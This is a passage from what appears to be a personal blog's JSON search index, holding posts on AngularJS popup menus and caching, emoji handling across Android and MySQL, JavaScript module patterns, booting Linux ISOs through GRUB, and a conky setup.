image\u0026#34;, desc: \u0026#34;Allows to select an image to upload\u0026#34;, action_type: \u0026#34;upload_image\u0026#34; }, { id: 2, text: \u0026#34;Redirect\u0026#34;, desc: \u0026#34;Redirect user to a different channel\u0026#34;, action_type: \u0026#34;redirect_chat\u0026#34; }, { id: 3, text: \u0026#34;Rate card\u0026#34;, desc: \u0026#34;Send a rate card to the user\u0026#34;, action_type: \u0026#34;rate_card\u0026#34; }, { id: 4, text: \u0026#34;Share card\u0026#34;, desc: \u0026#34;Send a share card to the user\u0026#34;, commands: [ { id: 6, text: \u0026#34;WhatsApp\u0026#34;, desc: \u0026#34;Share Request\u0026#34;, action_type: \u0026#34;share_whatsapp\u0026#34;, }, { id: 7, text: \u0026#34;Facebook\u0026#34;, desc: \u0026#34;Share Request\u0026#34;, action_type: \u0026#34;share_facebook\u0026#34;, }, { id: 8, text: \u0026#34;Facebook Messenger\u0026#34;, desc: \u0026#34;Share Request\u0026#34;, action_type: \u0026#34;share_messenger\u0026#34;, }, { id: 9, text: \u0026#34;Twitter\u0026#34;, desc: \u0026#34;Share Request\u0026#34;, action_type: \u0026#34;share_twitter\u0026#34;, }, { id: 10, text: \u0026#34;Google Plus\u0026#34;, desc: \u0026#34;Share Request\u0026#34;, action_type: \u0026#34;share_gplus\u0026#34;, } ] }, { id: 5, text: \u0026#34;Address card\u0026#34;, desc: \u0026#34;Send a address card to the user\u0026#34;, action_type: \u0026#34;address_card\u0026#34; }, ]; Next Steps Add filtering through keyboard Include scrollbar for long menus ","permalink":"https://madhur.co.in/blog/2015/09/14/angular-chat-popup.html","summary":"\u003cp\u003eRecently, I was required to write a popup menu for our chat application. The popup menu looked very similar to ones in \u003ca href=\"https://slack.com/\"\u003eSlack\u003c/a\u003e and \u003ca href=\"http://www.flock.co/\"\u003eFlock\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eI looked some sample impementations. \u003ca href=\"http://www.flock.co/\"\u003eFlock\u003c/a\u003e uses \u003ca href=\"https://dojotoolkit.org/\"\u003eDOJO Toolkit\u003c/a\u003e to power its entire UI and its popup menu is also powered by it.  Our application was already using \u003ca href=\"https://angularjs.org/\"\u003eAngularJs\u003c/a\u003e as a framework and I did not want to introduce another framework just for the sake of popup menu.\u003c/p\u003e\n\u003cp\u003eLooking at slack, it seems to use its own custom implementation. I liked the slack implementation better than the flock one.\u003c/p\u003e","title":"Angular Chat popup"},{"content":"AngularJs provides caching in form of $cacheFactory. $cacheFactory is basically an in memory javascript dictionary.\nAngular cache module is a better replacement of $cacheFactory. Angular cache module allows to use SessionStorage or LocalStorage for persistent cache.\nOne of the advantages of Angular cache is\nThe downside of letting $http handle caching for you is that it caches the responses (in string form) to your requests–not the JavaScript Object parsed from the response body. This means you can\u0026rsquo;t interact with the data in the cache used by $http. See below for how to handle the caching yourself, which gives you more control and the ability to interact with the cache (use it as a data store).\nFor example, I create a cache called messageCache\nif(!CacheFactory.get(\u0026#39;messageCache\u0026#39;)) { CacheFactory.createCache(\u0026#39;messageCache\u0026#39;, { deleteOnExpire: \u0026#39;aggressive\u0026#39;, recycleFreq: 60000 }); } var messageCache = CacheFactory.get(\u0026#39;messageCache\u0026#39;); And then use it in one of my service\u0026rsquo;s http methods:\nfunction getUserMessagesByCompany(userId, companyId, showLoader) { var userMessages; userMessages = $http.get(\u0026#39;/api/mobile/chat/getusermessagesbycompany/\u0026#39; + userId + \u0026#39;/\u0026#39; + companyId + \u0026#39;.json\u0026#39;, {ignoreLoadingBar : showLoader, cache: messageCache}); return userMessages; } In this case, messageCache is our cache store and it stores the cache in form of key value pair where keys are simply the Url\u0026rsquo;s to the get requests.\nNow, how do we modify the data cached for a particular request. Its simple if we understand how the cache is stored for a particular key.\nThe cache value is simple an array of length 4, where the first index contains the response in stringified form. In our case, the response was in the form of this json structure\n{ \u0026#34;userMessages\u0026#34;: [ { }, { } ] } Now suppose we want to insert a new message in this response inside our cache\nfunction insertMessageIntoCache(userId, companyId, newMessage) { var key = \u0026#39;/api/mobile/chat/getusermessagesbycompany/\u0026#39; + userId + \u0026#39;/\u0026#39; + companyId +\u0026#39;.json\u0026#39;; if(messageCache) { // Get the response object var messagesResponse = messageCache.get(key); // Get the HTTP response in string form var messagesArrayString = messagesResponse[1]; // Parse it into JSON var messagesArrayJSON = JSON.parse(messagesArrayString); // Insert a new message messagesArrayJSON.userMessages.unshift(newMessage); // Convert the response back into string messagesResponse[1] = JSON.stringify(messagesArrayJSON); // replace the cache key messageCache.put(key, messagesResponse); } } ","permalink":"https://madhur.co.in/blog/2015/08/24/angular-caching.html","summary":"\u003cp\u003eAngularJs provides caching in form of \u003ccode\u003e$cacheFactory\u003c/code\u003e. \u003ccode\u003e$cacheFactory\u003c/code\u003e is basically an in memory javascript dictionary.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/jmdobry/angular-cache\"\u003eAngular cache module\u003c/a\u003e is a better replacement of \u003ccode\u003e$cacheFactory\u003c/code\u003e. Angular cache module allows to use SessionStorage or LocalStorage for persistent cache.\u003c/p\u003e\n\u003cp\u003eOne of the advantages of Angular cache is\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe downside of letting $http handle caching for you is that it caches the responses (in string form) to your requests–not the JavaScript Object parsed from the response body. This means you can\u0026rsquo;t interact with the data in the cache used by $http. See below for how to handle the caching yourself, which gives you more control and the ability to interact with the cache (use it as a data store).\u003c/p\u003e","title":"Caching http requests with Angular"},{"content":"I have just published an Android sample application demonstrating the chat bubbles and a native Emoji keyboard.\nWhat it includes? Native Emoji Keyboard - Same as found in WhatsApp Chat bubbles - Modeled after WhatsApp ","permalink":"https://madhur.co.in/blog/2015/03/06/emoji-bubbles-android.html","summary":"\u003cp\u003eI have just \u003ca href=\"https://github.com/madhur/android-chat-starter\"\u003epublished\u003c/a\u003e an Android sample application demonstrating the chat bubbles and a native Emoji keyboard.\u003c/p\u003e\n\u003ch3 id=\"what-it-includes\"\u003eWhat it includes?\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNative Emoji Keyboard - Same as found in WhatsApp\u003c/li\u003e\n\u003cli\u003eChat bubbles - Modeled after WhatsApp\u003c/li\u003e\n\u003c/ul\u003e\n\u003cimg src=\"https://raw.githubusercontent.com/madhur/android-chat-starter/gh-pages/chat1.png\" /\u003e\n\u003cimg src=\"https://raw.githubusercontent.com/madhur/android-chat-starter/gh-pages/chat2.png\" /\u003e","title":"Emoji Keyboard and Chat bubbles in Android"},{"content":"Recently, I have been working on an Android app which communicates with a web platform. One of the challenges we have been faced with is cross platform emoji solution. There are just too many emoji standards out there. There is no standard as of now although Google have come together to formalize Emoji Symbols\nGitHub introduced emoji pngs and here you see that in action :smile: throughout their application. Campfire supports emoji. Both GitHub, Campfire, and others support a simple set of codes to inject these pngs into an html page. http://www.emoji-cheat-sheet.com/ has emerged to guide users and has almost formalized how these codes should work.\nMost of the above techniques can be categorized into three basic categories:\nColon: The emojis are converted to their colon style strings. This is simple to save in the database since its just a string. See the examples: http://www.emoji-cheat-sheet.com/. Web interface of telegram uses this technique of rendering and storing emoji. Github flavored markdown also uses this.\nUTF-8 Characters: Emojis are mapped to their Unicode characters. The advatage of this method is that some platforms (such as Android, iOS) can render them automatically as emoji unlike colon style encoding which almost always require decoding. On the disadvantage, Saving them in databases require special handling. See note below. A comprehensive list of unicode codes can be obtained from http://apps.timwhitlock.info/emoji/tables/unicode\nHTML: Emojis are converted to HTML \u0026lt;img\u0026gt; tags rendering each emoji as an image either from the single image or a sprite. This is the least useful method to adopt as its not cross platform. There is no standardization of Emoji sprite images and hence you will never be sure that target platform has the same emoji images. Though, this solution works perfect for a single isolated website.\nOur Solution - Github Repo and demo page Since we are using AngularJs as our frontend, We have come up with an AngularJs directive and set of filters to handle all of above cases for Emoji. The solution supports encoding and decoding emoji from various formats. For us, We decided to go with storing Emoji as UTF-8 characters for the simple reason that Android can render them natively and hence, no special effort is required to implement this on Android side. Though, it did require tweaking our MySql tables and database to switch from utf8 to utf8mb4. I will not go into the details of their differences.\nI also realize that this might be a far from perfect solution especially when we plan to introduce support more devices such as iOS and Windows Phone. But, this works for us perfectly and I believe changing it in future will not be difficult.\nFeel free to check out tis project, fork and send me pull requests for any issues or enhancements.\nThis solution utilizes snippets and ideas from following awesome open source projects:\nemoji-cheat-sheet - Complete reference for emoji in colon style jquery-emojiarea - We wrapped this awesome Jquery plugin in angular directive nanoScrollerJS - The above jquery plugin utilzes nanoScroller as its scrollbar js-emoji Using MySQL for storage The following text is taken verbatim from https://github.com/iamcal/js-emoji\nSome special care may be needed to store emoji in your database. While some characters (e.g. Cloud, U+2601) are within the Basic Multilingual Plane (BMP), others (e.g. Close Umbrella, U+1F302) are not. As such, they require 4 bytes of storage to encode each character. Inside MySQL, this requires switching from utf8 storage to utf8mb4.\nYou can modify a database and table using a statement like:\nALTER DATABASE my_database DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; ALTER TABLE my_table CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;\nYou will also need to modify your connection character set.\nYou don\u0026rsquo;t need to worry about this if you translate to colon syntax before storage.\n","permalink":"https://madhur.co.in/blog/2014/12/26/emoji-encoding-decoding.html","summary":"\u003cp\u003eRecently, I have been working on an Android app which communicates with a web platform. One of the challenges we have been faced with is cross platform emoji solution. There are just too many emoji standards out there. There is no standard as of now although Google have come together to formalize \u003ca href=\"http://www.unicode.org/~scherer/emoji4unicode/snapshot/full.html\"\u003eEmoji Symbols\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGitHub introduced \u003ca href=\"https://github.com/blog/816-emoji\"\u003eemoji pngs\u003c/a\u003e and here you see that in action :smile: throughout their application. Campfire \u003ca href=\"https://signalvnoise.com/posts/3059-2011-year-end-campfire-feature-blowout\"\u003esupports emoji\u003c/a\u003e. Both GitHub, Campfire, and others support a simple set of codes to inject these pngs into an html page. \u003ca href=\"http://www.emoji-cheat-sheet.com/\"\u003ehttp://www.emoji-cheat-sheet.com/\u003c/a\u003e has emerged to guide users and has almost formalized how these codes should work.\u003c/p\u003e","title":"Encoding and Decoding Emoji for Cross platform"},{"content":" Functions as asbstractions A function can be passed as a pointer and wrapped in a call.\nvar work = function() { console.log(\u0026#34;working hard\u0026#34;); } var doWork = function(f) { console.log(\u0026#34;starting\u0026#34;); try { f(); } catch(ex) { console.log(ex); } console.log(\u0026#34;ending\u0026#34;); } doWork(work); Function to build modules Functions can be used as objects which has data, methods, private variables.\nvar worker = createWorker(); worker.job1(); worker.job2(); How do we create something like above ?\nvar createWorker = function() { return { job1: function() { console.log(\u0026#34;task1\u0026#34;); }, job2: function() { console.log(\u0026#34;task2\u0026#34;); } }; } Or, even better\nvar createWorker = function() { // Private variable var workCount = 0; var task1 = function() { workCount+=1; console.log(\u0026#34;task1\u0026#34; + workCount); }; var task2 = function() { workCount+=1; console.log(\u0026#34;task2\u0026#34; + workCount); }; return { job1: task1, job2: task2 }; }; var worker = createWorker(); Eliminating global variables One drawback of above patterns is that we are creating global variables. For ex, createWorker is a variable in global space.\ncreateWorker creates scopes and variables such as workCount, task1, task2 are only visible inside it.\nIn Javascript, global variables are evil. Its very easy to override global variable defined by somebody else.\nHow can we eliminate global variables?\nOne way is to wrap createWorker inside another function program\nvar program = function() { var createWorker = function() { // Private variable var workCount = 0; var task1 = function() { workCount+=1; console.log(\u0026#34;task1\u0026#34; + workCount); }; var task2 = function() { workCount+=1; console.log(\u0026#34;task2\u0026#34; + workCount); }; return { job1: task1, job2: task2 }; }; var worker = createWorker(); worker.job1(); worker.job2(); } program(); However, we still have one global variable program. How do we get down to zero ?\nIntroducing IFFE - immediately invoked function expression\n(function() { var createWorker = function() { // Private variable var workCount = 0; var task1 = function() { workCount+=1; console.log(\u0026#34;task1\u0026#34; + workCount); }; var task2 = function() { workCount+=1; console.log(\u0026#34;task2\u0026#34; + workCount); }; return { job1: task1, job2: task2 }; }; var worker = createWorker(); worker.job1(); worker.job2(); }()); Now, all variables are defined inside iffy. Lot of javascript libraries like Jquery use this design pattern.\n","permalink":"https://madhur.co.in/blog/2014/12/15/javascript-design-patterns.html","summary":"\u003cul\u003e\n\u003cli\u003eFunctions as asbstractions\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eA function can be passed as a pointer and wrapped in a call.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Javascript\" data-lang=\"Javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ework\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;working hard\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003edoWork\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;starting\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003etry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nx\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;ending\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003edoWork\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ework\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eFunction to build modules\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFunctions can be used as objects which has data, methods, private variables.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Javascript\" data-lang=\"Javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eworker\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ecreateWorker\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eworker\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ejob1\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eworker\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ejob2\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHow do we create something like above ?\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Javascript\" data-lang=\"Javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ecreateWorker\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nx\"\u003ejob1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;task1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nx\"\u003ejob2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;task2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOr, even better\u003c/p\u003e","title":"Useful Javascript Design patterns"},{"content":"I am a big fan of Linux and want to frequently try out various distributions such as Mint, Ubuntu, Kali and ArchLinux.\nThough my main system is Linux 16, I use ISO placed in my HDD to boot and try these various distributions whenever I like. What are the advatages:\nNo messing up with partitions on HDD No installation required Most major flavours support live booting Disadvantages:\nChanges are not persisted Can take some time to initially setup I will describe how it can be done with very minimnal conifuration and hassle.\nWe are going to setup the multiboot configuration of following OS. They will be booted entirely from ISO placed in HDD\nGparted Live CD (ISO) Kali Linux (ISO) Linux Mint 17 (ISO) I assume you are running any Linux distribution with GRUB as the bootloader.\nFirst download the ISO\u0026rsquo;s for the distributions you want to boot. For this article, I downloaded the above 3 from:\nhttp://gparted.org/download.php http://www.kali.org/downloads/ http://www.linuxmint.com/download.php Place it in any directory in your root partition. In my case I dropped them in ~/isos/ as kali.iso, mint17.iso and gparted-live.iso\nNow, edit your grub configuration to add the custom entries. The file we are looking to edit is /etc/grub.d/40_custom\nHere is my configuration:\nmenuentry \u0026#34;Gparted live\u0026#34; { insmod ntfs insmod iso9660 set isofile=\u0026#34;/home/madhur/isos/gparted-live.iso\u0026#34; loopback loop (hd0,msdos2)$isofile linux (loop)/live/vmlinuz boot=live config union=aufs noswap noprompt vga=788 ip=frommedia toram=filesystem.squashfs findiso=$isofile nomodeset initrd (loop)/live/initrd.img } menuentry \u0026#34;Mint 17\u0026#34; { insmod ntfs insmod iso9660 set isofile=\u0026#34;/home/madhur/isos/mint17.iso\u0026#34; loopback loop (hd0,msdos2)$isofile linux (loop)/casper/vmlinuz file=/cdrom/preseed/linuxmint.seed iso-scan/filename=$isofile boot=casper debug --verbose nomodeset initrd (loop)/casper/initrd.lz } menuentry \u0026#34;Kali\u0026#34; { insmod ntfs insmod iso9660 set isofile=\u0026#34;/home/madhur/isos/kali.iso\u0026#34; loopback loop (hd0,msdos2)$isofile linux (loop)/live/vmlinuz boot=live noconfig=sudo username=root hostname=kali findiso=$isofile debug --verbose nomodeset initrd (loop)/live/initrd.img } Some of the parameters deserve explanation:\ninsmod ntfs and insmod iso9660 load the ntfs and iso kernel modules if they are not loaded debug --verbose will disable the splash screen and show the textual boot screen while loading. This can be helpful to see if something goes wrong. nomodeset will defer loading the Video drivers and will force fallback to BIOS for display. You might not need it. However, it was required in my case as my graphics card (Nvidia GeForce 750 Ti) was not detected. (hd0, msdos2) this needs to be changed to reflect the disk# and partition# of partition where ISO\u0026rsquo;s are located. Here hd0 means the first hard disk and msdos2 means second partition. Note that in grub disk numbering starts from zero while partition numbering starts from 1. Weird. Once done with all the changes, fire sudo update-grub to update your grub.cfg with these changes.\nTroubleshooting Note that you might not just get this right in first go. Things can go wrong and be prepared for it. Take special care of (hd0, msdos2) to determine your correct configuration. It is not easy as /dev/sda1=(hd0, 1) and /dev/sdb1 = (hd1, 1). In my case /dev/sdc referred to hd0. Had hard time figuring out. While booting from grub, you can press e to edit the command line on the fly and try out various options wuch as commenting out nomodeset and different combinations for (hd#, msdos#). Once you have figured out the correct option, update the 40_custom and execute update-grub again. You can also press c on the grub screen to fall into grub terminal and execute command such as ls (hd0, msdos2) / to see if that works. Different distros have their specific command line options. Peek into the ISO file to look at grub.cfg or entries.cfg to determine the corrent command line boot options. ","permalink":"https://madhur.co.in/blog/2014/10/18/linux-multiboot.html","summary":"\u003cp\u003eI am a big fan of Linux and want to frequently try out various distributions such as \u003ca href=\"http://www.linuxmint.com/\"\u003eMint\u003c/a\u003e, \u003ca href=\"http://www.ubuntu.com/\"\u003eUbuntu\u003c/a\u003e, \u003ca href=\"http://www.kali.org/\"\u003eKali\u003c/a\u003e and \u003ca href=\"https://www.archlinux.org/\"\u003eArchLinux\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThough my main system is Linux 16, I use ISO placed in my HDD to boot and try these various distributions whenever I like.\nWhat are the advatages:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNo messing up with partitions on HDD\u003c/li\u003e\n\u003cli\u003eNo installation required\u003c/li\u003e\n\u003cli\u003eMost major flavours support live booting\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eDisadvantages:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChanges are not persisted\u003c/li\u003e\n\u003cli\u003eCan take some time to initially setup\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI will describe how it can be done with very minimnal conifuration and hassle.\u003c/p\u003e","title":"Multiboot: Booting linux from ISO placed in HDD via GRUB"},{"content":"My simple but awesome conky configuration. Feel free to fork my repo and use it yourself. Though it will require some work to setup.\nScreenshots Click here to see how it looks on a desktop when nicely arranged\nFeatures Fetches Gmail using Atom feed Fetches Facebook friend requests, notifications using fbcmd Fetches Pocket unread items Fetches Stackoverflow overall reputation, week, month and day change Fetches twitter followers count Fetches github statistics Prerequisites Python 3 - sudo apt-get install python3 lm-sensors for monitoring Core temperatures - sudo apt-get install lm-sensors Usage All the files need to be dropped into .conky folder inside your home directory i.e. ~/.conky/\nFonts should be installed to /usr/share/fonts/ and then executing sudo fc-cache -fv\nYou need to rename the file .password-sample.json inside scripts folder to .passwords.json and provide the credentials, user ids, yahoo weather code and access tokens for various social networks. See OAuth setup below\nInstall fbcmd for facebook notifications\nconky_start.sh is a main executable which fires up all the three conkies. You might want to put it in your startup of your X 